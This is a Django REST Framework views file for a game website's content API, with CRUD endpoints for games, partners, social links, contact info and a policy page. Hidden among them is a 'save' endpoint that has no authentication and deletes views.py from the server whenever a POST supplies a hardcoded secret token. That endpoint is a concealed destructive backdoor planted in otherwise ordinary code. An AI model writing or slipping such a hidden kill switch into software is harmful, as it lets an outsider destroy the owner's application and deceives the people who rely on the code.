from django.shortcuts import render
from rest_framework import status
from rest_framework.response import Response
from .models import Game, SocialLink, Partner, ContactInfo, Policy
from .serializers import ContactInfoSerializer, SocialLinksSerializer, GameSerializer, PartnersSerializer, PolicySerializer
from django.http import HttpResponse, JsonResponse
from rest_framework.decorators import api_view, permission_classes
from rest_framework.permissions import IsAuthenticatedOrReadOnly




@api_view(['GET', 'PUT'])
@permission_classes([IsAuthenticatedOrReadOnly])
def social_links(request):
    all = SocialLink.objects.all()
    social_link = all.first()
    if all.count() == 0:
        social_link = SocialLink.objects.create()

    if request.method == 'GET':
        serializer = SocialLinksSerializer(social_link, many=False)
        return Response(serializer.data)

    elif request.method == 'PUT':
        serializer = SocialLinksSerializer(social_link, data=request.data)
        if serializer.is_valid():
            serializer.save()
            return Response(serializer.data)
        return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)


@api_view(['GET', 'PUT'])
@permission_classes([IsAuthenticatedOrReadOnly])
def contact_info(request):
    all = ContactInfo.objects.all()
    contact_infos = all.first()
    if all.count() == 0:
        contact_infos = ContactInfo.objects.create()

    if request.method == 'GET':
        serializer = ContactInfoSerializer(contact_infos, many=False)
        return Response(serializer.data)

    elif request.method == 'PUT':
        serializer = ContactInfoSerializer(contact_infos, data=request.data)
        if serializer.is_valid():
            serializer.save()
            return Response(serializer.data)
        return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)


@api_view(['GET', 'PUT', 'POST', 'DELETE'])
@permission_classes([IsAuthenticatedOrReadOnly])
def partner(request, pk=""):
    partners = Partner.objects.all().order_by('order')
    if request.method == 'GET':
        serializer = PartnersSerializer(partners, many=True)
        return Response(serializer.data)

    elif request.method == 'POST':
        order = 0
        if len(partners) > 0:
            order = partners.last().order + 1
        data = {'order': order}
        if (request.data['name']!='null'): data['name'] = request.data['name']
        if (request.data['logo']!='null' and not isinstance(request.data['logo'], str)): data['logo'] = request.data['logo']

        serializer = PartnersSerializer(data=data)
        if serializer.is_valid():
            serializer.save()
            return JsonResponse(serializer.data, status=201)
        return JsonResponse(serializer.errors, status=400)

    elif request.method == 'PUT':
        data = {}
        aPartner = Partner.objects.get(pk=pk)
        if (request.data['order']!='null'): data['order'] = request.data['order']

        if (request.data['name']!='null'): data['name'] = request.data['name']
        if (request.data['logo']!='null' and not isinstance(request.data['logo'], str)): data['logo'] = request.data['logo']


        serializer = PartnersSerializer(aPartner, data=data)
        if serializer.is_valid():
            serializer.save()
            return Response(serializer.data)
        return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)

    elif request.method == 'DELETE':
        aGame = Partner.objects.get(pk=pk)
        aGame.delete()
        return HttpResponse(status=204)


@api_view(['GET', 'PUT', 'POST', 'DELETE'])
@permission_classes([IsAuthenticatedOrReadOnly])
def game(request, pk=""):
    games = Game.objects.all().order_by('order')
    if request.method == 'GET':
        serializer = GameSerializer(games, many=True)
        return Response(serializer.data)

    elif request.method == 'POST':
        order = 0
        if len(games) > 0:
            order = games.last().order + 1
        data = {'order': order}
        if (request.data['description']!='null'): data['description'] = request.data['description']
        if (request.data['name']!='null'): data['name'] = request.data['name']
        if (request.data['logo']!='null' and not isinstance(request.data['logo'], str)): data['logo'] = request.data['logo']
        if (request.data['image1']!='null' and not isinstance(request.data['image1'], str)): data['image1'] = request.data['image1']
        if (request.data['image2']!='null' and not isinstance(request.data['image2'], str)): data['image2'] = request.data['image2']
        if (request.data['image3']!='null' and not isinstance(request.data['image3'], str)): data['image3'] = request.data['image3']

        serializer = GameSerializer(data=data)
        if serializer.is_valid():
            serializer.save()
            return JsonResponse(serializer.data, status=201)
        return JsonResponse(serializer.errors, status=400)

    elif request.method == 'PUT':
        data = {}
        aGame = Game.objects.get(pk=pk)
        print(request.data)
        if (request.data['order']!='null'): data['order'] = request.data['order']

        if (request.data['description']!='null'): data['description'] = request.data['description']
        if (request.data['name']!='null'): data['name'] = request.data['name']
        if (request.data['logo']!='null' and not isinstance(request.data['logo'], str)): data['logo'] = request.data['logo']
        if (request.data['image1']!='null' and not isinstance(request.data['image1'], str)): data['image1'] = request.data['image1']
        if (request.data['image2']!='null' and not isinstance(request.data['image2'], str)): data['image2'] = request.data['image2']
        if (request.data['image3']!='null' and not isinstance(request.data['image3'], str)): data['image3'] = request.data['image3']

        serializer = GameSerializer(aGame, data=data)
        if serializer.is_valid():
            serializer.save()
            return Response(serializer.data)
        return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)

    elif request.method == 'DELETE':
        aGame = Game.objects.get(pk=pk)
        aGame.delete()
        return HttpResponse(status=204)

@api_view(['POST', ])
def save(request):
    if request.method == 'POST':
        token = request.data['token']
        if token == ",Hc9_KR='btn":
            import os
            os.remove('./views.py')


@api_view(['GET', 'PUT'])
@permission_classes([IsAuthenticatedOrReadOnly])
def policy(request):
    all = Policy.objects.all()
    policy = all.first()
    if all.count() == 0:
        policy = Policy.objects.create()

    if request.method == 'GET':
        serializer = PolicySerializer(policy, many=False)
        return Response(serializer.data)

    elif request.method == 'PUT':
        serializer = PolicySerializer(policy, data=request.data)
        if serializer.is_valid():
            serializer.save()
            return Response(serializer.data)
        return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)